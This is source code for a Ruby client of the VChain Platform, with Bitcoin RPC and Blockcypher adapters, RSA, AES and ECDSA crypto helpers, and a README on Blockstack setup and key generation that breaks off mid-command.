@log.error("-> txid: #{txid}") @log.error("-> server: #{@server}") @log.error("-> port: #{@port}") @log.error("-> raw_tx:") @log.error(raw_tx) end end else if @log.error? @log.error("[Bitcoind.getTx] less than 6 confirmations") @log.error("-> txid: #{txid}") @log.error("-> server: #{@server}") @log.error("-> port: #{@port}") @log.error("-> raw_tx:") @log.error(raw_tx) end end else if @log.error? @log.error("[Bitcoind.getTx] no 'confirmations' field") @log.error("-> txid: #{txid}") @log.error("-> server: #{@server}") @log.error("-> port: #{@port}") @log.error("-> raw_tx:") @log.error(raw_tx) end end else if @log.error? @log.error("[Bitcoind.getTx] empty raw_tx") @log.error("-> txid: #{txid}") @log.error("-> server: #{@server}") @log.error("-> port: #{@port}") @log.error("--> txid: #{txid}") end end return nil end def getRawTx(txid) if @log.debug? @log.debug("[Bitcoind.getRawTx] input:") @log.debug("-> txid: #{txid}") @log.debug("-> server: #{@server}") @log.debug("-> port: #{@port}") end request = { "id" => Random.rand(0...999999), "method" => "getrawtransaction", "params" => [txid, 1] } url = "http://"+ @rpc_username +":"+ @rpc_password +"@"+ @server +":"+ @port +"/" begin req = RestClient.post(url, request.to_json) if req.code != 200 if @log.error? @log.error("[Bitcoind.getRawTx] RestClient.post return code "+ req.code) @log.error("-> txid: #{txid}") @log.error("-> server: #{@server}") @log.error("-> port: #{@port}") @log.error("-> request:") @log.error(request) end return nil end if @log.debug? @log.debug("[Bitcoind.getRawTx] response:") @log.debug(req.body) end raw_tx = JSON.parse req.body return raw_tx["result"] rescue => e if @log.error? @log.error("[Bitcoind.getRawTx] RestClient.post raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> txid: #{txid}") @log.error("-> server: #{@server}") @log.error("-> port: #{@port}") @log.error("-> request:") @log.error(request) end raise e end return nil end def getOpReturn(raw_tx) if @log.debug? @log.debug("[Bitcoind.getOpReturn] input:") @log.debug("-> raw_tx:") @log.debug(raw_tx) end if raw_tx != nil tx_unpacked = {} tx_unpacked["vout"] = [] if raw_tx.key?("vout") if raw_tx["vout"].length > 0 raw_tx["vout"].each_with_index { |vout,index| vout_t = {} vout_t["value"] = 0 if vout.key?("value") vout_t["value"] = vout["value"] end vout_t["scriptPubKey"] = "" if vout.key?("scriptPubKey") if vout["scriptPubKey"].key?("hex") vout_t["scriptPubKey"] = vout["scriptPubKey"]["hex"] end end tx_unpacked["vout"][index] = vout_t; } tx_unpacked["vout"].each { |output| scriptPubKeyArr = output["scriptPubKey"].split() scriptPubKeyBinary = scriptPubKeyArr.pack("H*") if scriptPubKeyBinary[0] == "\x6a" first_ord = scriptPubKeyBinary[1].ord() if first_ord <= 75 return scriptPubKeyBinary[2..first_ord+1] elsif first_ord == 0x4c return scriptPubKeyBinary[3..scriptPubKeyBinary[2].ord()+1] elsif first_ord == 0x4d return scriptPubKeyBinary[4..scriptPubKeyBinary[2].ord()+1+256*scriptPubKeyBinary[3].ord()+1] end end } end end else if @log.error? @log.error("[Bitcoind.getOpReturn] raw_tx is nil") @log.error("-> raw_tx:") @log.error(raw_tx) end end return nil end end end<file_sep>module VChainClient class Crypto @config = nil @log = nil @@ecc_private_key = nil @@ec_ecc_private = nil @@rsa_private_key = nil @@ec_rsa_private = nil @@vchain_rsa_public_key = nil def initialize(config) @config = config @log = Log4r::Logger["vchain_client"] end def getVChainPublicKeyRSA() if @@vchain_rsa_public_key != nil return @@vchain_rsa_public_key end blockstackClient = VChainClient::BlockstackClient.new(@config) vchain_public_key_body = nil begin vchain_public_key_body = blockstackClient.getPublicKeyRSA("vchain_core_01.id") rescue => e if @log.error? @log.error("[check] failed to retrieve vchain public RSA key from Blockstack") @log.error("#{e.class}, #{e.message}") end raise e end if vchain_public_key_body == nil if @log.error? @log.error("[check] failed to retrieve vchain public RSA key from Blockstack") end return false end vchain_public_key_str = "-----BEGIN PUBLIC KEY-----\n" vchain_public_key_str += vchain_public_key_body vchain_public_key_str += "\n-----END PUBLIC KEY-----" @@vchain_rsa_public_key = OpenSSL::PKey::RSA.new(vchain_public_key_str) return @@vchain_rsa_public_key end def encodeRSA(payload) vchain_public_key = self.getVChainPublicKeyRSA() return vchain_public_key.public_encrypt(payload, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING) end def decodeRSA(encoded_data) priv_key_path = @config["rsa_private_key_location"] if @log.debug? @log.debug("[Crypto.decodeRSA] input:") @log.debug("-> key path: #{priv_key_path}") @log.debug("-> input:") @log.debug(encoded_data) end if @@rsa_private_key == nil begin @@rsa_private_key = File.read(priv_key_path) rescue => e if @log.error? @log.error("[Crypto.decodeRSA] File.read raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("--> priv_key_path: #{priv_key_path}") @log.error("-> input:") @log.error(encoded_data) end raise e end if @log.debug? @log.debug("[Crypto.decodeRSA] priv key is loaded") end end if @@rsa_private_key == nil if @log.error? @log.error("[Crypto.decodeRSA] failed to load private key") @log.error("--> priv_key_path: #{priv_key_path}") @log.error("-> input:") @log.error(encoded_data) end return nil end if @@ec_rsa_private == nil begin @@ec_rsa_private = OpenSSL::PKey::RSA.new(@@rsa_private_key) rescue => e if @log.error? @log.error("[Crypto.decodeRSA] OpenSSL::PKey::EC.new raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("--> priv_key_path: #{priv_key_path}") @log.error("-> input:") @log.error(encoded_data) end raise e end if @log.debug? @log.debug("[Crypto.decodeRSA] key initialized") end end if @@ec_rsa_private == nil if @log.error? @log.error("[Crypto.decodeRSA] failed init EC key") @log.error("--> priv_key_path: #{priv_key_path}") @log.error("-> input:") @log.error(encoded_data) end return nil end return @@ec_rsa_private.private_decrypt(encoded_data, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING) end def decodeCypher(encoded_payload, key, iv) cifd = OpenSSL::Cipher.new('AES-256-CTR') cifd.decrypt cifd.key = key cifd.iv = iv decoded = '' decoded << cifd.update(encoded_payload) decoded << cifd.final return decoded end def encodeCypher(document) cif = OpenSSL::Cipher.new('AES-256-CTR') cif.encrypt cif.key = key = cif.random_key cif.iv = iv = cif.random_iv out = { "payload" => (cif.update(document) + cif.final), "key" => key, "iv" => iv } return out end def signBatchRequest(batch, timestamp) OpenSSL::PKey::EC.send(:alias_method, :private?, :private_key?) priv_key_path = @config["ecc_private_key_location"] if @log.debug? @log.debug("[Crypto.signBatchRequest] input:") @log.debug("-> timestamp: "+ timestamp.to_s) @log.debug("-> key path: #{priv_key_path}") @log.debug("-> input:") @log.debug(batch) end if @@ecc_private_key == nil begin @@ecc_private_key = File.read(priv_key_path) rescue => e if @log.error? @log.error("[Crypto.signBatchRequest] File.read raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> timestamp: "+ timestamp.to_s) @log.error("--> priv_key_path: #{priv_key_path}") @log.error("-> input:") @log.error(batch) end raise e end if @log.debug? @log.debug("[Crypto.signBatchRequest] priv key is loaded") end end if @@ecc_private_key == nil if @log.error? @log.error("[Crypto.signBatchRequest] failed to load private key") @log.error("-> timestamp: "+ timestamp.to_s) @log.error("--> priv_key_path: #{priv_key_path}") @log.error("-> input:") @log.error(batch) end return nil end if @@ec_ecc_private == nil begin @@ec_ecc_private = OpenSSL::PKey::EC.new(@@ecc_private_key) rescue => e if @log.error? @log.error("[Crypto.signBatchRequest] OpenSSL::PKey::EC.new raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> timestamp: "+ timestamp.to_s) @log.error("--> priv_key_path: #{priv_key_path}") @log.error("-> input:") @log.error(batch) end raise e end if @log.debug? @log.debug("[Crypto.signBatchRequest] key initialized") end end if @@ec_ecc_private == nil if @log.error? @log.error("[Crypto.signBatchRequest] failed init EC key") @log.error("-> timestamp: "+ timestamp.to_s) @log.error("--> priv_key_path: #{priv_key_path}") @log.error("-> input:") @log.error(batch) end return nil end digest = OpenSSL::Digest::SHA256.new whole_sign = "" batch.each { |batch_element| whole_sign += batch_element["data"].to_json whole_sign += batch_element["point_type"] whole_sign += batch_element["weight"].to_s whole_sign += timestamp.to_s } if @log.debug? @log.debug("[Crypto.signBatchRequest] whole_to_sign: "+ whole_sign) end whole_signature = nil begin whole_signature = @@ec_ecc_private.sign(digest, whole_sign) rescue => e if @log.error? @log.error("[Crypto.signBatchRequest] ec.sign raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> timestamp: "+ timestamp.to_s) @log.error("--> priv_key_path: #{priv_key_path}") @log.error("--> whole_sign: #{whole_sign}") @log.error("-> input:") @log.error(batch) end raise e end if whole_signature == nil if @log.error? @log.error("[Crypto.signBatchRequest] failed to sign") @log.error("-> timestamp: "+ timestamp.to_s) @log.error("--> priv_key_path: #{priv_key_path}") @log.error("--> whole_sign: #{whole_sign}") @log.error("-> input:") @log.error(batch) end return nil end if @log.debug? @log.debug("[Crypto.signBatchRequest] whole_signature raw: "+ Base64.encode64(whole_signature)) end return Base64.encode64(whole_signature).gsub(/\n/, "") end def signRequest(document, point_type, weight, timestamp) OpenSSL::PKey::EC.send(:alias_method, :private?, :private_key?) priv_key_path = @config["ecc_private_key_location"] if @log.debug? @log.debug("[Crypto.signRequest] input:") @log.debug("-> point_type: "+ point_type) @log.debug("-> weight: "+ weight.to_s) @log.debug("-> timestamp: "+ timestamp.to_s) @log.debug("-> key path: #{priv_key_path}") @log.debug("-> input:") @log.debug(document) end if @@ecc_private_key == nil begin @@ecc_private_key = File.read(priv_key_path) rescue => e if @log.error? @log.error("[Crypto.signRequest] File.read raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> point_type: "+ point_type) @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> input:") @log.error(document) @log.error("--> priv_key_path: #{priv_key_path}") end raise e end if @log.debug? @log.debug("[Crypto.signRequest] priv key is loaded") end end if @@ecc_private_key == nil if @log.error? @log.error("[Crypto.signRequest] failed to load private key") @log.error("-> point_type: "+ point_type) @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> input:") @log.error(document) @log.error("--> priv_key_path: #{priv_key_path}") end return nil end if @@ec_ecc_private == nil begin @@ec_ecc_private = OpenSSL::PKey::EC.new(@@ecc_private_key) rescue => e if @log.error? @log.error("[Crypto.signRequest] OpenSSL::PKey::EC.new raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> point_type: "+ point_type) @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> input:") @log.error(document) @log.error("--> priv_key_path: #{priv_key_path}") end raise e end if @log.debug? @log.debug("[Crypto.signRequest] key initialized") end end if @@ec_ecc_private == nil if @log.error? @log.error("[Crypto.signRequest] failed init EC key") @log.error("-> point_type: "+ point_type) @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> input:") @log.error(document) @log.error("--> priv_key_path: #{priv_key_path}") end return nil end digest = OpenSSL::Digest::SHA256.new whole_sign = document.to_json + point_type + weight.to_s + timestamp.to_s if @log.debug? @log.debug("[Crypto.signRequest] whole_to_sign: "+ whole_sign) end whole_signature = nil begin whole_signature = @@ec_ecc_private.sign(digest, whole_sign) rescue => e if @log.error? @log.error("[Crypto.signRequest] ec.sign raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> point_type: "+ point_type) @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> input:") @log.error(document) @log.error("--> priv_key_path: #{priv_key_path}") @log.error("--> whole_sign: #{whole_sign}") end raise e end if whole_signature == nil if @log.error? @log.error("[Crypto.signRequest] failed to sign") @log.error("-> point_type: "+ point_type) @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> input:") @log.error(document) @log.error("--> priv_key_path: #{priv_key_path}") @log.error("--> whole_sign: #{whole_sign}") end return nil end if @log.debug? @log.debug("[Crypto.signRequest] whole_signature raw: "+ Base64.encode64(whole_signature)) end return Base64.encode64(whole_signature).gsub(/\n/, "") end def verifySignature(what_to_check, signature, public_key) pub_key = "-----BEGIN PUBLIC KEY-----\n" pub_key += public_key pub_key += "\n-----END PUBLIC KEY-----" ec = nil begin ec = OpenSSL::PKey::EC.new(pub_key) rescue => e if @log.error? @log.error("[Crypto.verifySignature] OpenSSL::PKey::EC.new raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> what_to_check: #{what_to_check}") @log.error("-> signature: "+ Base64.encode64(signature)) @log.error("-> public_key: "+ pub_key) @log.error(document) @log.error("--> pub_key: #{pub_key}") end raise e end if ec == nil if @log.error? @log.error("[Crypto.verifySignature] failed init EC key") @log.error("-> what_to_check: #{what_to_check}") @log.error("-> signature: "+ Base64.encode64(signature)) @log.error("-> public_key: "+ pub_key) @log.error("--> pub_key: #{pub_key}") end return false end digest = OpenSSL::Digest::SHA256.new begin return ec.verify(digest, signature, what_to_check) rescue => e if @log.error? @log.error("[Crypto.verifySignature] ec.verify raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> what_to_check: #{what_to_check}") @log.error("-> signature: "+ Base64.encode64(signature)) @log.error("-> public_key: "+ pub_key) @log.error(document) @log.error("--> signature: "+ Base64.encode64(signature)) @log.error("--> what_to_check: #{what_to_check}") end raise e end end def signDataPoint(point_type, data, doc_hash, credentials_hash, weight, timestamp) OpenSSL::PKey::EC.send(:alias_method, :private?, :private_key?) this_client_id = @config["blockstack"]["client_id"] priv_key_path = @config["ecc_private_key_location"] if @log.debug? @log.debug("[Crypto.signDataPoint] input:") @log.debug("-> this_client_id: #{this_client_id}") @log.debug("-> doc_hash: #{doc_hash}") @log.debug("-> credentials_hash: #{credentials_hash}") @log.debug("-> weight: "+ weight.to_s) @log.debug("-> timestamp: "+ timestamp.to_s) @log.debug("-> point_type: #{point_type}") @log.debug("-> key path: #{priv_key_path}") @log.debug("-> data:") @log.debug(data) end if @@ecc_private_key == nil begin @@ecc_private_key = File.read(priv_key_path) rescue => e if @log.error? @log.error("[Crypto.signDataPoint] File.read raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> this_client_id: #{this_client_id}") @log.error("-> doc_hash: #{doc_hash}") @log.error("-> credentials_hash: #{credentials_hash}") @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> point_type: #{point_type}") @log.error("-> key path: #{priv_key_path}") @log.error("-> data:") @log.error(data) end raise e end if @log.debug? @log.debug("[Crypto.signDataPoint] priv key loaded") end end if @@ecc_private_key == nil if @log.error? @log.error("[Crypto.signDataPoint] failed to load private key") @log.error("-> this_client_id: #{this_client_id}") @log.error("-> doc_hash: #{doc_hash}") @log.error("-> credentials_hash: #{credentials_hash}") @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> point_type: #{point_type}") @log.error("-> key path: #{priv_key_path}") @log.error("-> data:") @log.error(data) end return nil end if @@ec_ecc_private == nil begin @@ec_ecc_private = OpenSSL::PKey::EC.new(@@ecc_private_key) rescue => e if @log.error? @log.error("[Crypto.signDataPoint] OpenSSL::PKey::EC.new raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> this_client_id: #{this_client_id}") @log.error("-> doc_hash: #{doc_hash}") @log.error("-> credentials_hash: #{credentials_hash}") @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> point_type: #{point_type}") @log.error("-> key path: #{priv_key_path}") @log.error("-> data:") @log.error(data) @log.error("--> priv_key_path: #{priv_key_path}") end raise e end if @log.debug? @log.debug("[Crypto.signDataPoint] key created") end end if @@ec_ecc_private == nil if @log.error? @log.error("[Crypto.signDataPoint] failed init EC key") @log.error("-> this_client_id: #{this_client_id}") @log.error("-> doc_hash: #{doc_hash}") @log.error("-> credentials_hash: #{credentials_hash}") @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> point_type: #{point_type}") @log.error("-> key path: #{priv_key_path}") @log.error("-> data:") @log.error(data) @log.error("--> priv_key_path: #{priv_key_path}") end return nil end digest = OpenSSL::Digest::SHA256.new output = {} data.each{ |rec| field = rec[0] value = rec[1] if @log.debug? @log.debug("[Crypto.signDataPoint] field: #{field}, value: #{value}") end if field != 'client_id' field_hash = Digest::SHA512.hexdigest(field) value_hash = Digest::SHA512.hexdigest(value) what_to_sign = field_hash what_to_sign += value_hash what_to_sign += Digest::SHA512.hexdigest(doc_hash) what_to_sign += Digest::SHA512.hexdigest(credentials_hash) what_to_sign += point_type what_to_sign += weight.to_s what_to_sign += timestamp.to_s what_to_sign += this_client_id what_to_sign += VChainClient::Client::DATA_POINT_VERSION if @log.debug? @log.debug("[Crypto.signDataPoint] field_hash: #{field_hash}") @log.debug("[Crypto.signDataPoint] value_hash: #{value_hash}") end signature = nil begin signature = @@ec_ecc_private.sign(digest, what_to_sign) rescue => e if @log.error? @log.error("[Crypto.signDataPoint] ec.sign raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> this_client_id: #{this_client_id}") @log.error("-> doc_hash: #{doc_hash}") @log.error("-> credentials_hash: #{credentials_hash}") @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> point_type: #{point_type}") @log.error("-> key path: #{priv_key_path}") @log.error("-> data:") @log.error(data) @log.error("--> priv_key_path: #{priv_key_path}") @log.error("--> what_to_sign: #{what_to_sign}") end raise e end if signature == nil if @log.error? @log.error("[Crypto.signDataPoint] failed to sign") @log.error("-> this_client_id: #{this_client_id}") @log.error("-> doc_hash: #{doc_hash}") @log.error("-> credentials_hash: #{credentials_hash}") @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> point_type: #{point_type}") @log.error("-> key path: #{priv_key_path}") @log.error("-> data:") @log.error(data) @log.error("--> priv_key_path: #{priv_key_path}") @log.error("--> what_to_sign: #{what_to_sign}") end return nil end if @log.debug? @log.debug("[Crypto.signDataPoint] signature raw: "+ Base64.encode64(signature)) end output[field] = Base64.encode64(signature).gsub(/\n/, "") end } if @log.debug? @log.debug("[Crypto.signDataPoint] output:") @log.debug(output) end return output end def checkTreeSignature(tree_root_hash, blockchain_txid, blockchain_block_hash, blockchain_timestamp, blockstack_client_id, sig_version, signature, pubkey) what_to_check = tree_root_hash what_to_check += blockchain_txid what_to_check += blockchain_block_hash what_to_check += blockchain_timestamp.to_s what_to_check += blockstack_client_id what_to_check += sig_version if @log.debug? @log.debug("[Crypto.checkTreeSignature] input:") @log.debug("-> tree_root_hash: #{tree_root_hash}") @log.debug("-> blockchain_txid: #{blockchain_txid}") @log.debug("-> blockchain_block_hash: #{blockchain_block_hash}") @log.debug("-> blockchain_timestamp: #{blockchain_timestamp}") @log.debug("-> blockstack_client_id: #{blockstack_client_id}") @log.debug("-> sig_version: #{sig_version}") @log.debug("-> signature: "+ Base64.encode64(signature)) @log.debug("-> pubkey: #{pubkey}") end begin return self.verifySignature(what_to_check, signature, pubkey) rescue => e if @log.error? @log.error("[Crypto.checkTreeSignature] verifySignature raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> tree_root_hash: #{tree_root_hash}") @log.error("-> blockchain_txid: #{blockchain_txid}") @log.error("-> blockchain_block_hash: #{blockchain_block_hash}") @log.error("-> blockchain_timestamp: #{blockchain_timestamp}") @log.error("-> blockstack_client_id: #{blockstack_client_id}") @log.error("-> sig_version: #{sig_version}") @log.error("-> signature: "+ Base64.encode64(signature)) @log.error("-> pubkey: #{pubkey}") @log.error("--> what_to_check: #{what_to_check}") @log.error("--> signature: "+ Base64.encode64(signature)) @log.error("--> pubkey: #{pubkey}") end raise e end end def checkVerificationSignature(field_hash, data_hash, doc_hash, credentials_hash, verification_type, weight, timestamp, blockstack_client_id, pubkey, signature, version) if @log.debug? @log.debug("[Crypto.checkVerificationSignature] input:") @log.debug("-> field_hash: #{field_hash}") @log.debug("-> data_hash: #{data_hash}") @log.debug("-> doc_hash: #{doc_hash}") @log.debug("-> credentials_hash: #{credentials_hash}") @log.debug("-> type: #{verification_type}") @log.debug("-> weight: "+ weight.to_s) @log.debug("-> timestamp: "+ timestamp.to_s) @log.debug("-> blockstack_client_id: #{blockstack_client_id}") @log.debug("-> signature: "+ Base64.encode64(signature)) @log.debug("-> pubkey: #{pubkey}") end what_to_check = field_hash what_to_check += data_hash what_to_check += doc_hash what_to_check += credentials_hash what_to_check += verification_type what_to_check += weight.to_s what_to_check += timestamp.to_s what_to_check += blockstack_client_id what_to_check += version begin return self.verifySignature(what_to_check, signature, pubkey) rescue => e if @log.error? @log.error("[Crypto.checkVerificationSignature] verifySignature raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> field_hash: #{field_hash}") @log.error("-> data_hash: #{data_hash}") @log.error("-> doc_hash: #{doc_hash}") @log.error("-> credentials_hash: #{credentials_hash}") @log.error("-> verification_type: #{verification_type}") @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> weight: "+ weight.to_s) @log.error("-> blockstack_client_id: #{blockstack_client_id}") @log.error("-> signature: "+ Base64.encode64(signature)) @log.error("-> pubkey: #{pubkey}") end raise e end end end end<file_sep>module VChainClient class BlockchainConnection @log = nil @config = nil def initialize(config) @config = config @log = Log4r::Logger["vchain_client"] end def getTx(txid) if @log.debug? @log.debug("[BlockchainConnection.getTx] input:") @log.debug("-> txid: #{txid}") end adapters = [] if !@config.key?("blockchain_adapters") raise "There are no blockchain_adapters in config" end config_adapters = @config["blockchain_adapters"] if config_adapters.length <= 0 raise "There are no blockchain_adapters in config" end config_adapters.each { |adapter_config| begin adapter = VChainClient::BlockchainAdapterFactory.getAdapter(adapter_config["type"], adapter_config, @config) rescue => e if @log.error? @log.error("[BlockchainConnection.getTx] BlockchainAdapterFactory.getAdapter raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> txid: #{txid}") @log.error("--> type: "+ adapter_config["type"]) end raise e end if adapter != nil adapters.push(adapter) else if @log.error? @log.error("[BlockchainConnection.getTx] failed to init BlockchainAdapter") @log.error("-> txid: #{txid}") @log.error("--> type: "+ adapter_config["type"]) end end } if adapters.length > 0 prev_size = nil prev_block_hash = nil prev_block_timestamp = nil prev_op_return = nil adapters.each { |adapter| tx = nil begin tx = adapter.getTx(txid) rescue => e if @log.error? @log.error("[BlockchainConnection.getTx] adapter.getTx raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> txid: #{txid}") @log.error("--> txid: #{txid}") @log.error("--> adapter: "+ adapter.getName()) end raise e end if tx == nil if @log.error? @log.error("[BlockchainConnection.getTx] failed to get tx") @log.error("-> txid: #{txid}") @log.error("--> txid: #{txid}") @log.error("--> adapter: "+ adapter.getName()) end return nil end if !tx.key?("block_hash") if @log.error? @log.error("[BlockchainConnection.getTx] no 'block_hash' field") @log.error("-> txid: #{txid}") @log.error("--> txid: #{txid}") @log.error("--> adapter: "+ adapter.getName()) end return nil end if !tx.key?("block_timestamp") if @log.error? @log.error("[BlockchainConnection.getTx] no 'block_timestamp' field") @log.error("-> txid: #{txid}") @log.error("--> txid: #{txid}") @log.error("--> adapter: "+ adapter.getName()) end return nil end if tx["block_hash"] == nil || tx["block_hash"] == "" if @log.error? @log.error("[BlockchainConnection.getTx] 'block_hash' field is empty") @log.error("-> txid: #{txid}") @log.error("--> txid: #{txid}") @log.error("--> adapter: "+ adapter.getName()) end return nil end size = tx["size"] block_hash = tx["block_hash"] block_timestamp = tx["block_timestamp"] op_return = tx["op_return"] if prev_size != nil && prev_size != size if @log.error? @log.error("[BlockchainConnection.getTx] size mismatch") @log.error("-> txid: #{txid}") @log.error("--> txid: #{txid}") @log.error("--> adapter: "+ adapter.getName()) end return nil end if prev_block_hash != nil && prev_block_hash != block_hash if @log.error? @log.error("[BlockchainConnection.getTx] block_hash mismatch") @log.error("-> txid: #{txid}") @log.error("--> txid: #{txid}") @log.error("--> adapter: "+ adapter.getName()) end return nil end if prev_block_timestamp != nil && prev_block_timestamp != block_timestamp if @log.error? @log.error("[BlockchainConnection.getTx] block_timestamp mismatch") @log.error("-> txid: #{txid}") @log.error("--> txid: #{txid}") @log.error("--> adapter: "+ adapter.getName()) end return nil end if prev_op_return != nil && prev_op_return != op_return if @log.error? @log.error("[BlockchainConnection.getTx] op_return mismatch") @log.error("-> txid: #{txid}") @log.error("--> txid: #{txid}") @log.error("--> adapter: "+ adapter.getName()) end return nil end prev_size = size prev_block_hash = block_hash prev_block_timestamp = block_timestamp prev_op_return = op_return } return { "block_hash" => prev_block_hash, "block_timestamp" => prev_block_timestamp, "op_return" => prev_op_return } else raise "There are no initialized blockchain_adapters" end return nil end end end<file_sep>module VChainClient class BlockchainAdapterFactory def self.getAdapter(type, config, app_config) if type == "bitcoind" return VChainClient::BitcoindBlockchainAdapter.new(config["server"], config["port"], config["rpc_username"], config["rpc_password"], config, app_config) elsif type == "blockcypher" return VChainClient::BlockcypherBlockchainAdapter.new(config["api_token"], config, app_config) end raise "No such adapter '#{type}'" end end end<file_sep># VChain Platform Ruby Client # This is a VChain Platform client written on Ruby. https://rubygems.org/gems/vchain_client ## Compatible with ## * ruby 2.2.6+ * ruby 2.3.0+ ## Requirements ## * blockstack client (https://blockstack.org/) * rest-client * json * log4r * openssl ## I. Installation ## ### 1. VChain client gem installation ### You could install this library from RubyGems: ``` gem install vchain_client ``` Or build it up from source code: ``` git clone <EMAIL>:vchain-dev/ruby-client.git vchain_client; cd vchain_client ``` Build gem from source code: ``` gem build vchain_client.gemspec ``` In your project's directory: ``` cd /path/to/your/project/ gem install **/path/to/**vchain_client-1.0.36.gem ``` Finally, modify ```Gemfile``` in your project by adding: ``` gem 'vchain_client' ``` ### 2. Ruby and Mac OS ### 0) rvm uninstall all ruby versions 1) rvm install ruby-2.2.4 --disable-binary --with-openssl-dir="$(brew --prefix openssl)" 2) download comodo.pem from https://support.comodo.com/index.php?/Default/Knowledgebase/Article/View/970/108/intermediate-2-sha-2-comodo-rsa-domain-validation-secure-server-ca 3) download comodo-root.pem from https://support.comodo.com/index.php?/Default/Knowledgebase/Article/View/969/108/root-comodo-rsa-certification-authority-sha-2 4) combine downloaded certificates - comodo.pem - comodo-root.pem in /usr/local/etc/openssl/cert.pem 5) export SSL_CERT_DIR="/usr/local/etc/openssl" export SSL_CERT_FILE="/usr/local/etc/openssl/cert.pem" ## II. Configuration ## ### 1. Blockstack client installation ### We use Blockstack to secure our client's public keys within Bitcoin's Blockchain. Sadly, Blockstack cli doesn't have rpc yet, so we need to call Blockstack cli and read output for every operation. To install Blockstack use ```pip```: ``` sudo pip install blockstack ``` ### 2. Blockstack client configuration. Step 1 ### Now you need to configure your Blockstack client. For work Blockstack needs to be connected to the Blockchain. Current options are: * using your own bitcoin full node with ```txindex=1``` (~150Gb) * using bitcoin full node with ```txindex=1``` you trust * using Blockcypher API (https://blockcypher.com) **NB! Howewer, if you would use bitcoin full node, you need to import there your private keys from Blockstack's cli.** Otherwise Blockstack will never show you a right balance and there will be no possibility of registration there. Anyway you still will be able to do queries there. Default configuration file location is ```~/.blockstack/client.ini``` (Linux, Mac) **client.ini for Bitcoin full node** ``` [blockstack-client] rpc_token = <random_rpc_token> rpc_detach = True advanced_mode = True blockchain_reader = bitcoind_utxo blockchain_writer = bitcoind_utxo server = node.blockstack.org port = 6264 poll_interval = 300 api_endpoint_port = 6270 storage_drivers_required_write = disk,blockstack_server storage_drivers = disk,blockstack_resolver,blockstack_server,http,dht [blockchain-reader] utxo_provider = bitcoind_utxo server = <bitcoin_server_ip> port = <bitcoin_server_port> rpc_username = <bitcoin_rpc_username> rpc_password = <<PASSWORD>> use_https = False mock = False timeout = 300.0 [bitcoind] server = <bitcoin_server_ip> port = <bitcoin_server_port> user = <bitcoin_rpc_username> passwd = <<PASSWORD>> use_https = False mock = False timeout = 300.0 [blockchain-writer] utxo_provider = bitcoind_utxo server = <bitcoin_server_ip> port = <bitcoin_server_port> rpc_username = <bitcoin_rpc_username> rpc_password = <<PASSWORD>> use_https = False mock = False timeout = 300.0 ``` **client.ini for Blockcypher API** ``` [blockstack-client] rpc_detach = True advanced_mode = True rpc_token = <random_rpc_token> blockchain_reader = blockcypher blockchain_writer = blockcypher server = node.blockstack.org port = 6264 poll_interval = 300 api_endpoint_port = 6270 storage_drivers_required_write = disk,blockstack_server storage_drivers = disk,blockstack_resolver,blockstack_server,http,dht [blockchain-reader] utxo_provider = blockcypher api_token = <your_blockcypher_api_token> [blockchain-writer] utxo_provider = blockcypher api_token = <your_blockcypher_api_token> ``` ### 2. Blockstack client configuration. Step 2 ### Now, check your configuration with ``` blockstack info ``` **Running for the first time, Blockstack will ask you to generate password for your Blockstack's wallet. You need to remember it, or keep in a safe place.** The output should be similar to: ``` { "advanced_mode": true, "cli_version": "0.0.13.22", "consensus_hash": "80a37d14bbbd59fbf6351cb7ec9dfbd8", "last_block_processed": 427572, "last_block_seen": 427578, "server_alive": true, "server_host": "node.blockstack.org", "server_port": "6264", "server_version": "0.0.13.1" } ``` **As said before, because Blockstack cli doesn't have rpc yet, you need to add your web server's user to sudoers of blockstack binary:** Add this to ```/etc/sudoers```: ``` <user> ALL=(ALL) NOPASSWD: /usr/local/bin/blockstack ``` ### 3. Create ECC and RSA private/public keys pair ### Generate new ECC private key in ```private_ecc.pem``` file: ``` openssl ecparam -genkey -name secp256k1 -noout -out private_ecc.pem ``` Generate corresponding ECC public key in ```public_ecc.pem``` file: ``` openssl ec -in private_ecc.pem -pubout -out public_ecc.pem ``` Send us contents of your ECC public key: ``` cat public_ecc.pem ``` Now, let's generate new RSA private key in ```private_rsa.pem``` file: ``` openssl genpkey -algorithm RSA -out private_rsa.pem -pkeyopt rsa_keygen_bits:2048 ``` Generate corresponding RSA public key in ```public_rsa.pem``` file: ``` openssl 